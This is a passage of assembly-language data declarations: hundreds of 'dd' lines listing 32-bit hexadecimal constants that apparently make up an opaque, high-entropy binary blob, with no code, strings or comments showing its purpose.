0C09B3C2Fh, 54A172C8h, 514B6DF8h, 412082B4h, 45B1E49Ah dd 24F18005h, 0F4C0D9F6h, 0F5C9FEC5h, 0FF70EFC9h, 0CA280481h dd 84D78859h, 5A0CBC0Ch, 9EC57144h, 6C1220EFh, 0CC16887h dd 6ACA5B62h, 506CD83Ah, 28E3EAFAh, 7A099E20h, 426BD42Ah dd 580BB456h, 0ACE748B5h, 0A720092Fh, 16A14ABFh, 8EAC118h dd 91B4D12h, 0EBE996B6h, 5D0EE2h, 0C20ED750h, 53979006h dd 2E4D9121h, 0AC2F0B92h, 875DC9C0h, 2496D558h, 72134C55h dd 0BC2DEB4h, 57596420h, 0E9094853h, 807956CCh, 0B791B3Ah dd 64F8C801h, 6C93B85Fh, 4060E07h, 936D9435h, 1FEF174h dd 0E3615456h, 0E3827461h, 401B74C6h, 0D33C9482h, 4B9CC164h dd 0DF82DF45h, 48A474A5h, 0EE8A15E8h, 0EB63862h, 1A3018F5h dd 0F35FC02Dh, 0A50FE3E1h, 5C92EDECh, 48EB3D4Ch, 5B08403Fh dd 0ED47E916h, 32C6D3E4h, 0D648464Dh, 46B057Ch, 0AD019A07h dd 0C0207F83h, 0D57E840Fh, 0EB867A0h, 0CB80FA4Ah, 0B83A6328h dd 0C83B2765h, 510089E7h, 0AA0A6768h, 7DE9281Fh, 0CBB03C6Bh dd 0FC5AAD27h, 0F85888F2h, 4B274D2Fh, 0FCDF4FF2h, 0B40A845Fh dd 893951E9h, 81CA24F1h, 3178C125h, 0B6DD6C70h, 557D3D74h dd 342AC770h, 2190B35Eh, 962D08FFh, 0FE05612h, 1C17074Eh dd 60C4BA55h, 0FCE91D44h, 8BE6484Ah, 4DD4F50h, 1050A78h dd 4B0982CBh, 79A0997Ah, 1ABDF7EBh, 13C85421h, 889FB046h dd 0BA53D439h, 0D7F9A8E7h, 4ADEF65Dh, 0D26FB2A1h, 48C42A6Dh dd 0EC2DD000h, 35572168h, 65900A5h, 0DE0D14Eh, 203E74D5h dd 1D3D007Dh, 0FD2D585Ch, 0EF2C0FBAh, 4501C521h, 8119C0E9h dd 5C4FE6BDh, 0C810566h, 650A4310h, 90F74046h, 52003ADCh dd 55EF029h, 48DB3FECh, 85162D48h, 9BE8CC2Bh, 3D4D4317h dd 0E923EDCBh, 0C222DA5h, 0C9A37742h, 6BD8B815h, 40040197h dd 2502890Dh, 7CF5C853h, 5000CFEh, 39F1F062h, 2AE9C301h dd 24943EFEh, 77A07EDh, 6BF2121Bh, 0F57B83F2h, 185F3E00h dd 215DE989h, 2635BBC8h, 140103D9h, 463668E3h, 0B50D3B02h dd 8C502001h, 742C2123h, 0A602109h, 0ED6B878h, 0F14E4F1Eh dd 6492F5CEh, 88B75B44h, 982CF33Eh, 20478F80h, 0BE7E4068h dd 7B544902h, 1306171Fh, 9F0B31B8h, 151D9141h, 1F587780h dd 816C017Dh, 0B7173FF7h, 5C17700Ch, 0E1044000h, 2D5FF829h dd 0DDF713CDh, 960CBCD7h, 58E37FF2h, 595DD32Ch, 0CA87FA5Bh dd 0A301FDD2h, 20CBFECCh, 8D70B0DAh, 8858D8F3h, 0A4D2DA5Ah dd 240E5C06h, 30A602F9h, 70435AF4h, 68D6CEEAh, 66EA0338h dd 0A3FA2859h, 22E9EF53h, 50CA8728h, 12E82D3Ch, 4EDEAA20h dd 92BF7292h, 0E23C408Dh, 0D37C82E1h, 0C6EB8060h, 30109028h dd 5A20CC9Ah, 4767B353h, 0F33229BEh, 15824130h, 23CDBE00h dd 68051209h, 0E5EF2F34h, 2DE497C8h, 25CEB4D9h, 8103A250h dd 3632CEEh, 0F394B715h, 52A4480h, 7B430254h, 10B2E90Eh dd 0C2E2BF56h, 62F27C58h, 3B60C885h, 0D68293F2h, 5AD7C257h dd 0F76698D7h, 316818E9h, 0A004A114h, 1814280h, 49699EE2h dd 0F8EAD12Dh, 0CCB53783h, 6DEE0410h, 0ECF7BDFFh, 48EC59FBh dd 2F9F9048h, 0CE8510B9h, 27FEA459h, 45F1BBABh, 8C542A3Ch dd 8030198h, 29F69241h, 0F593EACDh, 2EF4EEA9h, 349C612h dd 482CD058h, 4101B752h, 0BA2FE679h, 310B9845h, 800A8FB4h dd 2E0BCB81h, 7FF63Fh, 155D3371h, 45E912BDh, 7836E2D0h dd 5ACABC2Dh, 3F2B953Fh, 702F37FBh, 0C1B8FAF6h, 0EED0599h dd 2A2DD45Eh, 65F5097Eh, 1B945CAh, 595026C6h, 8D548019h dd 0F7600120h, 0F0E913DBh, 0D573B44Bh, 0C01627Fh, 3B512540h dd 5F3C3A0Fh, 962C9F01h, 386AE92Ah, 65542D95h, 519BA751h dd 76DD5202h, 614841FEh, 4BD005E3h, 35010251h, 854E3904h dd 0B1A02045h, 0B70BE8B4h, 0FCA1072Ch, 0E0C2E227h, 0F0004647h dd 1C7D9CC2h, 935125BAh, 0B6D76E4Eh, 534DBF05h, 406AC3A6h dd 1221E813h, 84481351h, 4B5FE9ECh, 5F202E36h, 0BD04094Fh dd 21129852h, 0DE041C6Fh, 0AD13F160h, 8B982774h, 0A23902D6h dd 27F87110h, 151E4C60h, 59259413h, 520527CAh, 4275A068h dd 12B1E909h, 7C60A2F6h, 25794A51h, 6218E801h, 2D50D829h dd 1509050Fh, 1276Eh, 9F370B70h, 967B050h, 0CA8F0D6Ah dd 7AC0620Fh, 0BE564E52h, 0AEF2919Fh, 0CF2D103Eh, 0FD134AC9h dd 269989F9h, 2FDB515Fh, 0A88A498Ch, 93905BEh, 219ECBDBh dd 0D4AA378Fh, 0D15B97F3h, 1116B9A7h, 0C07F01EBh, 2C62CAE4h dd 96D315Ch, 5E15C368h, 0C1AF62BBh, 4C2DC40Ah, 32DDA19Ah dd 635907CAh, 0C02D2C3h, 0B82C8525h, 5E897512h, 0B6F0D202h dd 4EDCDF6Ah, 0B7203059h, 25349C0Dh, 7AB357F2h, 20D4FD36h dd 293BEB71h, 18A192D6h, 2538A9C9h, 0DB51327Bh, 0BA805F24h dd 0F1794315h, 9B4015Fh, 0D368155Bh, 2B17BF25h, 876BF41Ch dd 0BF4DADF0h, 0EC3020Fh, 8121DB4Ch, 0CB6B73D8h, 1C61770h dd 4D82C936h, 0E75EF331h, 7CE92298h, 0DF019079h, 0C1D7F75Bh dd 0A06106E7h, 0CEFE930h, 0B2CCE905h, 8900BD5Ch, 312E413Dh dd 954E5DEEh, 0ADF684E0h, 8378BB26h, 432D6619h, 0E04EE3F0h dd 2A0A4C6Ah, 2E999A63h, 814B3BB1h, 0E2E3210Eh, 700142h dd 0D3A95B3Ch, 3A4B1003h, 0A12A883h, 0F3202106h, 5BFC10DEh dd 0A002DB83h, 0B71C1968h, 90C20810h, 0DAF722C2h, 3538C152h dd 0D602412Fh, 2B7C2E67h, 723C3E88h, 0C566007h, 5FC6B6ADh dd 0A1D86BEh, 0A695B12Ah, 0FC7DF293h, 0A965D690h, 0CD0C2EC8h dd 83594D07h, 7396FC79h, 500940FBh, 0D965D768h, 0AE002AC8h dd 0F2CF5953h, 0A6EF8185h, 0A7E9092Dh, 1D374439h, 0B9EDEBF2h dd 0A4BB381h, 44CB0126h, 0F20816B2h, 0CFC1935Dh, 0DD3578E9h dd 5F2DC22Fh, 45956E58h, 2C0892Ch, 0ECB5AE5Ah, 90082F5Dh dd 9F82999Ah, 73463CE7h, 2BBA0CF0h, 8F55F1FAh, 0AAA44417h dd 802426CDh, 88731696h, 5EBC9102h, 689A4C3Fh, 864422Ah dd 0F249EA94h, 45BF001Fh, 8169071Ah, 4101AACFh, 0E95653F0h dd 34290519h, 88148A01h, 24F80112h, 170058BCh, 0ED81317Fh dd 4AC106BCh, 1284C615h, 0E0512309h, 0C01ED861h, 4ADD2D36h dd 41EB5C30h, 3E088B27h, 80377699h, 829BD750h, 59CA3681h dd 4D615152h, 0DFA6720Bh, 0BEF95439h, 0AE5CFE3Ch, 9203746Dh dd 1C2A9D4Bh, 8211680Ch, 0CFE94622h, 56256A7Eh, 20234FC4h dd 0C057F6Eh, 62B18583h, 32E6180h, 32474DADh, 5D0010Ah dd 505A050Ah, 0EAF00855h, 9B21BA17h, 0FFFED029h, 2297DF9Eh dd 0C844E97Ch, 7ABBFCEh, 313D7D10h, 0F10BCEFDh, 3CEC6790h dd 0F06FBB25h, 8C351FCh, 94169331h, 735F0BDEh, 0E68974ADh dd 30086708h, 0BE24161Ch, 0E95A410Bh, 7FA4E229h, 0E5E28B33h dd 0F5802A6Ah, 2B28BFB2h, 5060F4F6h, 118F717h, 9F4C731Ah dd 0CC953594h, 0A9E924F4h dd 5AE5AF6Fh, 0DDB7539Ah, 0B420D896h, 0C13EE1DAh, 0D1CFFE17h dd 0ABE43050h, 5BF8881Ch, 588EC71Fh, 0C68DF628h, 60509542h dd 9ABA686Ah, 55F95240h, 9874A5Eh, 0D2BB81BBh, 0E8167072h dd 23B52077h, 141AC125h, 0D61B8B08h, 0BD54DA45h, 9FAAF11Fh dd 14F13EB0h, 9DDF5FABh, 0D9BF8657h, 0C71B346Bh, 0E8C451A0h dd 0FE4289B8h, 2CC3DA01h, 10AF661h, 9C935153h, 0FF0CC1Bh dd 532F70B4h, 1E596BE7h, 84545662h, 0A91312F7h, 5BD44DEBh dd 0E909CF2Eh, 1DCABB5h, 232DEB82h, 2F7410Bh, 21724100h dd 0CD071B76h, 408D1F44h, 3FA3F5C0h, 94A0C71h, 0C4465DEFh dd 0A72BEDB5h, 0D720EB6Ch, 0F3860EC5h, 0F74CFE30h, 523C6608h dd 0D6F61D88h, 869F0F24h, 84FB2837h, 0EDA0C836h, 5ECD5C89h dd 0AE01AA12h, 4BA98C34h, 2078167Bh, 0FD4D0A67h, 0A25A3BFCh dd 42B9019Fh, 416C897Ch, 297272EDh, 0CC8D2612h, 8E4AB27Dh dd 0C8F65A2h, 0B06AA2D6h, 95D060E9h, 18C22193h, 0D12338DCh dd 0A1E1983Dh, 78E3C016h, 2DDB5A06h, 0CAD63AEh, 631A6468h dd 0BDB14054h, 791BF704h, 4CF03158h, 0A3414E83h, 0A5E79387h dd 33BA5200h, 0E920FB6Bh, 7DB5C15Eh, 63BEEE80h, 4E0D2319h dd 0A86C76FCh, 13451C9Bh, 814E37Bh, 68013B71h, 387712A4h dd 17DBA570h, 0B103EBC1h, 60C895Ch, 13800343h, 8031023Ch dd 5A57FC30h, 802FC1F1h, 8D22EC77h, 9229493Eh, 19000B2Dh dd 282CABBAh, 0BE6B1C7Ah, 85BA6715h, 0AB7C2D68h, 69BBD030h dd 5B8F0025h, 7192CB81h, 0D4B86509h, 3812A501h, 7C676822h dd 0AA10CF26h, 0F45D2E11h, 57419103h, 3DE6B018h, 68F2854h dd 78391DA1h, 0DA644Eh, 7CF62649h, 0C898D629h, 92EABD25h dd 0A20B5F14h, 527AAED4h, 0F8822F17h, 0C2785F24h, 67405F6Ch dd 920141DAh, 0E9D301C5h, 0D32ECD21h, 32B14707h, 18F96881h dd 0EF0C09FBh, 9730FE9Eh, 3CC01369h, 0FC881DA7h, 22A5DF8h dd 2E6ADEB9h, 454EE168h, 0CB6F7064h, 3FC25C8Ah, 0CBD89683h dd 84C19702h, 7D3F6E26h, 870612BAh, 0E917DD02h, 75349269h dd 95EF489Ch, 5C44C75Bh, 0C7469BAh, 0FC25E99Eh, 35B398D5h dd 23E7B59Fh, 89AE2D3Fh, 0A6F1A0C0h, 0F971A217h, 627F30DDh dd 0FD48EE35h, 313A2BDh, 7B004EEFh, 3B2C2341h, 0C0299C29h dd 1CEF6035h, 9CB8D58h, 26C5DADh, 5AA40FE5h, 0A2952BB3h dd 0EE010B4Ch, 5140A171h, 3E36A4B9h, 0E1000FDCh, 2956069Eh dd 0BE650AE9h, 4B8E5B44h, 0E93AB102h, 91D3EF6Eh, 0EE8C187h dd 553C56E2h, 0CCF4834Ch, 0B45D2340h, 0D9AC1Eh, 30BF5750h dd 0FD90B219h, 0E29CF5Dh, 0C23D6BBEh, 5DF72905h, 8277E16h dd 952D4E9Ah, 3C77860h, 0FEC9369Eh, 0EDE9C2EAh, 0E752C4A7h dd 5AD722DAh, 34E6EC91h, 0A34A0F32h, 8A4EBA44h, 0B29B43BCh dd 7FF508D8h, 809752FCh, 53E2D1C6h, 7AB52768h, 508651E6h dd 40A8C297h, 0A5B2569Ch, 0A51837D4h, 96B8A26h, 51245568h dd 34A782D6h, 0A6E043D3h, 0D307036h, 233B0C6Eh, 29322E55h dd 9DE94257h, 0DB958758h, 0CFFE37Eh, 89D6F110h, 0D7C8A17h dd 0D2B88853h, 0DC5134E1h, 0D558F6FDh, 51EA3FA2h, 0D65A329Fh dd 85000C2Dh, 58B97FF9h, 5EB12Dh, 1CD8BA14h, 0A0942CA1h dd 0AB10C124h, 3942B440h, 0E9CAFC2Eh, 0D2401392h, 59803994h dd 4CACAA6Eh, 0B44E14B1h, 124E9F2h, 0A4C2D6D8h, 0D213640Ch dd 0B71E01DBh, 0EC2B7F12h, 0BD80A2D2h, 6C251778h, 5A44016Dh dd 2DF166h, 7C135755h, 11EE0316h, 2937A147h, 8A410B5h dd 0FD1FE909h, 0ED20E967h, 58C2864Ah, 6AF45905h, 9610A9h dd 0F2815A5Eh, 49793A7Dh, 0E9175031h, 2B70F115h, 55336E0h dd 0F380E2B3h, 8E9804Ah, 360BB050h, 162F99E9h, 0B29EC9h dd 3AB71627h, 0D6944C29h, 0C845DD0Bh, 0C917197Bh, 80D2F70Ch dd 6488D127h, 0FB3AB7B0h, 0D5192CDBh, 152AC7A6h, 109FFEA5h dd 52CC4E3Bh, 0EE009F50h, 0B853A01Ah, 51662A09h, 1B0950C2h dd 0C73196E9h, 15CC4805h, 4E822809h, 5B0786F7h, 10C4018Eh dd 5EE90819h, 0DB22A91h, 0EFB57948h, 2C0D6E36h, 819ADFE9h dd 8C6027BBh, 521705Ah, 1685100h, 0E9FD2B9Dh, 4C839A2Eh dd 7E029BADh, 494BF674h, 6BC06A40h, 0F731D100h, 44C25D0h dd 0E0D62DFh, 86F41C68h, 5D806292h, 0C183CB8h, 0D8F767A6h dd 0C3F0504h, 0E9D0844Eh, 31AB329Bh, 0C9FA89AEh, 0ED3860D6h dd 0C8A1EEB1h, 0EC91AEBEh, 0E4D3F68Eh, 9AC93F2h, 49F79A1h dd 84EF7DD9h, 2D6880E0h, 6A937F43h, 7E481BC1h, 1CABAECCh dd 0DC50C55Fh, 37E94647h, 0E4273B20h, 127A7B6Ah, 0D795BC55h dd 0C125B9F9h, 0C4BF4CBh, 4BB0095h, 0CEFF355h, 81039451h dd 0F48D3B5Ch, 0EBE28CF1h, 0F86878C2h, 7F4BB21Fh, 59475953h dd 46850373h, 0DEF76143h, 2360D692h, 0A45C72C5h, 8A5A10E5h dd 1A83354Eh, 98CA5D1Ch, 9AACFF65h, 1DC0704Bh, 822A46F2h dd 215DEF31h, 97E4645Dh, 84F154Eh, 409655E0h, 0EF5BE926h dd 3058B002h, 0D0A9FFF0h, 0E9502F54h, 0A2095F41h, 526DD6B4h dd 0E22A02D5h, 362096E2h, 9E0CE952h, 20E1246Ch, 44AF299Bh dd 91F1A5FBh, 0B91BE941h, 2AC1D328h, 3E549B0Ch, 0AFD59581h dd 9C21EA0h, 0DD2096B3h, 0E9C107DEh, 2492C7A6h, 2A11CA58h dd 403078BBh, 70CCC71Bh, 0C4295F63h, 0E40717EFh, 0F020E9ECh dd 0C009811h, 630A5DE4h, 3903DD0Ch, 76E96E5Ah, 56740A86h dd 0A4B90268h, 4A8C10A0h, 8D3F1BCDh, 7A0DA5B5h, 21E92F41h dd 97504287h, 0AFC3B4C8h, 25D6668Ah, 10A0B96Fh, 0BA033730h dd 77E13C15h, 9C7A48D2h, 861F9181h, 0CB0159AFh, 52E09F06h dd 6880B770h, 325F5FF3h, 0B26BF441h, 9F1E63DFh, 69622705h dd 1F8050CFh, 2C426AE2h, 6252A39h, 40094066h, 82342590h dd 1E332D9h, 1CA9E9C3h, 98E0712Dh, 2680597h, 0E9197339h dd 0D4697A5h, 1277BCBDh, 0EA01BBE9h, 5DF15329h, 18EB807Eh dd 59038C69h, 4658C689h, 0D101A083h, 275490E6h, 1EA9F904h dd 80B4AF57h, 0CE1A14BBh, 0ECE91728h, 72A3B38Dh, 4229408Ah dd 132F99EEh, 29C3471Eh, 0F9FD3CBh, 0EBD260Fh, 4A75CF4Dh dd 79BDFB6Bh, 2FE5530Eh, 2F072C1h, 0F0AA3CF8h, 8CEA2992h dd 4934E9CCh, 0AD91F730h, 0D42E95C1h, 8C29EB3Ah, 989ED68h dd 0E943248h, 9DBEC697h, 74EDC6E8h, 1828692Dh, 26685E4Fh dd 6AD13ACDh, 18F008EFh, 84F6983Ah, 0F8EDB27Eh, 617BED80h dd 6E3344F5h, 7EE8BDD9h, 60319470h, 16302BB0h, 14E7C12Eh dd 25AC92ACh, 963DA40h, 267997DCh, 0BAB3E904h, 54BFBC88h dd 0AB83201h, 4A0E7A90h, 0D751AFF1h, 870B31A8h, 864AB46h dd 0F2ADD107h, 0D66E249Eh, 4BF79C57h, 3F708F76h, 1D301B02h dd 7FDF212Ch, 0DC71900h, 0E944C1Ah, 42175C81h, 0A074290Ch dd 430F5C71h, 2C0450C9h, 90ECE3FDh, 1314ACEh, 0DD3E844Dh dd 645C31D5h, 0F3955598h, 1AE46996h, 616DB2B5h, 0E5050307h dd 13CACD7Bh, 0B8716415h, 0AE04D4B3h, 0F64FAF86h, 27DC9C0Ah dd 0BDA60D51h, 65CE6800h, 0EEE94C09h, 0EFF19ECFh, 9F83E69h dd 0C1E95D4Ah, 0E5AFD13Dh, 0B5351300h, 1C68F223h, 0A7A0D264h dd 2E620D38h, 8310F137h, 4AF58003h, 0BFD3E828h, 24D38F49h dd 57C0775Bh, 0BADDE3E9h, 36A6007Fh, 0E0C122B1h, 0E85BD102h dd 350652C0h, 0EAF013CCh, 406BA87Dh, 5302D0F9h, 0BEE921FBh dd 0FC98551Ch, 248014A6h dd 0D8F60E96h, 0E44FAA2Ch, 212160A9h, 2106E2C0h, 9162AF3h dd 157BBB93h, 8EBD2CDCh, 4E45F307h, 0D10904C8h, 4E068BDh dd 5E2D73C2h, 0AF5E9DBEh, 0B5BC4DFAh, 9F80F492h, 9373F968h dd 2C5E01A0h, 804F3694h, 8F612AC8h, 9722E976h, 2C5C8B61h dd 0D472A49Ah, 1338F6B8h, 3228FC20h, 5D081450h, 0DA2D304Dh dd 3D6E21DAh, 32EC0AA5h, 0F301CDA0h, 7DF67421h, 95348AE9h dd 22F14C01h, 970EED24h, 7BC6E255h, 5241D327h, 362D20B1h dd 4E054004h, 810FE4h, 5D029A1Dh, 5F52CE40h, 2F14023Eh dd 98E8074h, 4B840FC9h, 68EE025Bh, 94712991h, 42EA95BCh dd 95503C5Bh, 6F77411Ah, 41FCCCA0h, 0B63C4F47h, 77330965h dd 43BD0019h, 18BE8ADEh, 0BB01A4E9h, 2BFF104h, 0E4346A03h dd 0D0A44D1h, 6B312EE5h, 2768BBCEh, 0C956F396h, 89D17CD2h dd 0B3FC823Dh, 0C19904C9h, 680A07E2h, 0DADE70DBh, 0F26CC959h dd 0BA45A45Ah, 0FA182FDDh, 5E7FEAA0h, 0B54C46h, 96342F67h dd 0DA011313h, 0CC08045Bh, 5630EF22h, 1965307h, 54CA816Bh dd 34098248h, 0A509EA9Ah, 569469A4h, 0F2010969h, 0F12FBEE5h dd 4A270875h, 83E77169h, 55BBBF57h, 0DE725ACAh, 0DED5B84Eh dd 7A14F782h, 7B60000Ah, 25480CD6h, 3D3A56A1h, 62F8443h dd 4DC2698Eh, 0A6820AADh, 5889BA0Ch, 2750C2Ch, 763CCAD1h dd 0C7D245F1h, 0FE1AA180h, 2EDAFF4Ah, 3F89CFD1h, 0A2BDEEDBh dd 59C6C09Dh, 530596E8h, 2AD8E1h, 9059CD29h, 3BA60E32h dd 43DE60BBh, 6837CA5h, 1F01CE00h, 0B0252214h, 2B332542h dd 40016A58h, 0BFAC0548h, 0E6350A0Dh, 971D1C3Eh, 0A3175334h dd 0BFE54ACBh, 3D6CF5FDh, 532D4801h, 40C17BC5h, 75E9EB20h dd 2D349C49h, 2028CC0Bh, 0BB013D21h, 713550C1h, 0BF0D989h dd 4A19A2D5h, 841EFF43h, 4BE98340h, 316109AAh, 9784167Fh dd 0EA9294E5h, 0FBE544FCh, 0F9590549h, 0BF51E5E5h, 54EF3E74h dd 49702B73h, 0FE2E3A80h, 0F02158ADh, 835ED3CAh, 2705DAA7h dd 5066222Eh, 2CEBF0D2h, 3A0E58C8h, 0AB684D3Eh, 0C461B05Fh dd 0B2C126C5h, 0B0072FB0h, 0A8D7624Eh, 48F9159h, 0A50E4F5Ah dd 0D36AD77h, 0BD55006Bh, 70777E8Ah, 9D9AE4E9h, 3AEB6817h dd 1F5E8D2h, 3A1C4721h, 0DDEA6E23h, 267844B2h, 69291AFDh dd 0D096C59h, 351D2D7h, 60FB7E29h, 2AC7EB01h, 0E91C3508h dd 0C15D0655h, 192003E3h, 6E8E7A78h, 5C1F24D0h, 0E8BF9BBDh dd 0DD03E868h, 0BFC758ABh, 37025F45h, 0EAC15A25h, 405E4205h dd 220C0D29h, 0E6F2BA39h, 923ED20Bh, 7A75D824h, 54F60008h dd 890EDD41h, 0CB71E9F5h, 1D8057DEh, 0C15E191Ah, 93024CE6h dd 9A035404h, 2600EF20h, 3B272B61h, 0C2569989h, 0CD430E9h dd 0A9481A25h, 2030CC6Bh, 4112EEE6h, 48ACE1C1h, 0D4C7FCC1h dd 0CC6E8219h, 5D5D6C05h, 809EE4Ah, 0A4F18D82h, 0D1C5BBA0h dd 474C460Bh, 0BAEE547Bh, 293D65FCh, 0A2BD2C61h, 3C10189h dd 0A532687Dh, 1B0919ECh, 2002A412h, 0C0E8FDDh, 4A7F60CAh dd 27CEE62Ah, 0CC1D094Ah, 0AC8385B7h, 0DF360A1Dh, 0A5CD9DAAh dd 58528574h, 1C401C8h, 2BE96A6Bh, 0E20F0407h, 6FE04538h dd 0A0724BFCh, 0B60A8908h, 0F10496B2h, 2B3C35EFh, 60373D80h dd 0F262B751h, 3C647DDEh, 1E4697F1h, 0CE92C03h, 96AD9D69h dd 0B3E4807Ah, 0DD7F301Fh, 5AD13CF1h, 0F8F8B5CCh, 39A49D55h dd 4297EAC5h, 0BD4376BEh, 0C305EBC0h, 2610E66Fh, 0D8EDD1h dd 68AE305Bh, 0C7E65351h, 0C594617h, 4F058E41h, 89223F18h dd 4E100979h, 9E5E9A08h, 0B6E9290Eh, 9CA20312h, 8842B88Fh dd 8F569401h, 1BE9A73Ah, 941E9D14h, 0D0919A9Ah, 356812E5h dd 1457462Bh, 0F604D103h, 58624BABh, 72BD3480h, 219F2DB4h dd 9600559h, 2C850FDBh, 4FB12D1Dh, 0C9A9904Bh, 24323800h dd 213C0E7Dh, 30688CEBh, 40EF7346h, 0D002F71Ch, 6FFCBE56h dd 61194031h, 88E09420h, 1B2D9F70h, 30BCD9A1h, 6B408D7Bh dd 462E86h, 719E10C1h, 11E9DEF7h, 120ECC49h, 0DCA359C8h dd 6EE7C65Fh, 498C9025h, 892A0B62h, 2EBFECAFh, 68817E5Eh dd 8A7EDDB8h, 76E64B05h, 19DAEA07h, 50242CA4h, 275D3218h dd 2046CA0Ch, 87056909h, 2959DF3Eh, 81A7DD4h, 94142F0Ch dd 62C9020h, 944CE95Bh, 685F268Ah, 60462EB9h, 5B17022Ah dd 5FC14297h, 84131EABh, 9AFD12BAh, 0CA91FE3Eh, 8D5393EEh dd 0B5227C35h, 518083A8h, 9A85F0B9h, 0E5F5C7Bh, 0AA91317h dd 92FFA35Ah, 0BF2E2044h, 0BB7BCCBBh, 0C892FBEEh, 3DC54020h dd 9DDD5048h, 72061E1Ah, 1F90260h, 92718BFh, 0EB3BBE2Ch dd 55EEA9h, 994CA4E5h, 4078B818h, 0CE0BBBB2h, 844D7D16h dd 37BB3384h, 511948E7h, 0AA04D62Eh, 9DF0B799h, 95389528h dd 0EC90B353h, 0E93DB50Bh, 2DC12094h, 4EEF1B81h, 419BE82Bh dd 7B0A3607h, 6269610Bh, 0A05547Ch, 0AD8EDBE2h, 0D609A679h dd 0C9AADC2Eh, 0D45EC4A4h, 4A02FED5h, 0DECF28D5h, 0B8F81642h dd 620F4B8h, 74566866h, 5929A00Dh, 0E6C283DAh, 135894F7h dd 64277668h, 208B323Ch, 0F5810AC8h, 0B745440Bh, 92B5DE07h dd 3B5D06DEh, 5A162C10h, 0B7A25452h, 0C10C794h, 0C16809A6h dd 63F6DE7Ch, 0ED4CAC16h, 499C1888h, 7AE6F60Ah, 7663BDFBh dd 37C31208h, 10EB1B3Ah, 9D1A599Ch, 2570832Fh, 675E09A4h dd 0E9568485h, 4B9BB985h, 608799E0h, 6AEEE37Bh, 104C840Eh dd 73B90601h, 27E858F9h, 0CE8AA3E9h, 8FE0406h, 0FC7EAEAh dd 0A1F2640Eh, 57F13984h, 0F590442Fh, 0A426BEC1h, 6B681714h dd 57588C34h, 39D47616h, 0AF2BA80Ch, 46940FCFh, 7466771Bh dd 1FB01638h, 0E8620B4Eh, 32B789Ah, 8E1A36BEh, 0C2D95570h dd 0EE316BF1h, 25398F4Ah, 7EAB29CDh, 138A0314h, 9CEC0726h dd 0BF53ABC7h, 1C7C0BA9h, 0BFED9054h, 0E2800B01h, 128844F8h dd 68C502C4h, 354665AAh, 0F90AAFBCh, 1C4A4AE7h, 0D942FC26h dd 0F15D07FEh, 433FBE05h, 2DBBF0FAh, 3BB30F55h, 955F9BB4h dd 0C6207380h, 0D648F658h, 543A2537h, 0F76E622Ah, 5DF2F1A0h dd 1A38835Fh, 0D610E04Ah, 95297820h, 29C856E1h, 79E225BFh dd 1E6E62AEh, 0E06862C9h, 81F6431h, 0F85A4F5Fh, 884FFE2Dh dd 0EF82C155h, 858D059Bh, 1FF0C4DAh, 80480EB0h, 0E41CC3C2h dd 4E402F24h, 7E4AE5E9h, 5052CA20h, 885137B0h, 4CA0F7DEh dd 230ECD57h, 0C034B346h, 0B70326EDh, 37E92466h, 32688E19h dd 0B9154D32h, 0EF913A8Dh, 0CA4C5887h, 40BDB054h, 679F592Eh dd 0AB22A7D3h, 162F5188h, 3FBD0394h, 451FC817h, 82387A20h dd 1F747D4Eh, 56646052h, 58572D50h, 2D92DF89h, 0ED2901A2h dd 0CBA5904h, 3C5F33CBh, 0EE4DE760h, 76442261h, 1D21F8B0h dd 496E7341h, 41F1F6C1h, 5012314Ah, 0DECADC0Bh, 5DB109D2h dd 0A92FAA27h, 8095AA64h, 282EF20Eh, 24B5BB04h, 120C207Fh dd 49E8215Eh, 6F845D58h, 5330B085h, 85454D9Fh, 0FBD803E9h dd 19F47344h, 0BB05BA04h, 0D7313104h, 6B019981h, 4A803C12h dd 36EA46F3h, 8B78E91Ah, 64145DB2h, 0E995D562h, 7A8DDB1h dd 67AA029Dh, 0D3C41F8Bh, 90EEF720h, 9BD07A86h, 0ADB608C7h dd 46244928h, 409E228h, 8D2757C4h, 9ECD073h, 587DE188h dd 0C81DFBB8h, 5A72B753h, 0C0AD0593h, 6C718054h, 8F2D1F7Ch dd 0CF10E8C6h, 146EBDE2h, 0AB685009h, 29572E3Eh, 97B164A9h dd 614B33D2h, 77FBB5C4h dd 9B77D23Ch, 0F0FA4457h, 2506B4AAh, 94C201DEh, 35BE0078h dd 0E9E59A6Fh, 0B7186417h, 2B2ECD77h, 0B8408009h, 0F678A428h dd 0E32A4EC3h, 0FE5CC559h, 0A5643008h, 0CC450A56h, 0AA87ED4h dd 16F3EDA4h, 0ACCC264Ah, 3D18BD34h, 5E807C7Bh, 978B853h dd 6D1D750Bh, 0B1E1D207h, 2028F034h, 661F1F81h, 0C100577Ah dd 4E19738Eh, 0CACB5A89h, 0AF4B2863h, 7A97E04Eh, 9ED0F275h dd 1C9E68h, 455D698Fh, 5AF8E581h, 3F40313Bh, 0FEE784C5h dd 86AA89BFh, 16593A20h, 0CDE75AA4h, 0E985774Ch, 2DCD53F0h dd 134F321Ah, 31EF177Ch, 2F626648h, 3B161431h, 9371F62Fh dd 0D02D27BBh, 447B0BE3h, 7BC02B49h, 56D5BF07h, 0F122DE89h dd 58F8D65Eh, 0BA9505BEh, 849160B9h, 82889A25h, 401FA93h dd 0A28E6A49h, 816BA01h, 0F9895D44h, 77E7E882h, 719C1098h dd 56790325h, 0F8263F0Dh, 0FA7E5A4Dh, 7FFA80B8h, 97535B9h dd 0F3E09F87h, 7582CA18h, 2055F889h, 0A20F854Fh, 0EE8B72Ch dd 0DB9789FEh, 0A0D8A754h, 4ECCAC5Dh, 0F2B701FCh, 7D832580h dd 0DC5F39DEh, 2F774381h, 0A0D60C3Ch, 6E256817h, 2987363h dd 6FFD437Dh, 0BEA1037Dh, 0B001AB16h, 5C65F3C9h, 0F13859C7h dd 3167060Ch, 813AE0Ch, 79847C1Bh, 2C534182h, 58F252C1h dd 18498449h, 2CAF4731h, 70EC9DFDh, 49FB4925h, 0C4926D58h dd 506EACEAh, 9409F55Fh, 565AC039h, 0E7A840B9h, 0A5A1FEE4h dd 0E9D6345Dh, 48796237h, 13768353h, 0B324C579h, 279B4373h dd 0DC3D0954h, 1C5849DDh, 50677B13h, 0BF5F288h, 4B755276h dd 0BD91A3C0h, 0C33F4A25h, 2DE898C6h, 0B46B02E6h, 98EDE935h dd 41FDBFF2h, 0A41A36h, 0C2D3F74Bh, 8EAFB456h, 0E5C64640h dd 6A374712h, 16280A01h, 943F0C68h, 0E90805C6h, 0ACAF42F5h dd 96C21C2Ch, 5205DF54h, 2EC1AAB2h, 34EC049Dh, 0C23013B4h dd 0FDC0E158h, 0B5FA30BDh, 7AE9160Dh, 9340A1E1h, 0DF186220h dd 0C7DB536Ch, 5BDF7211h, 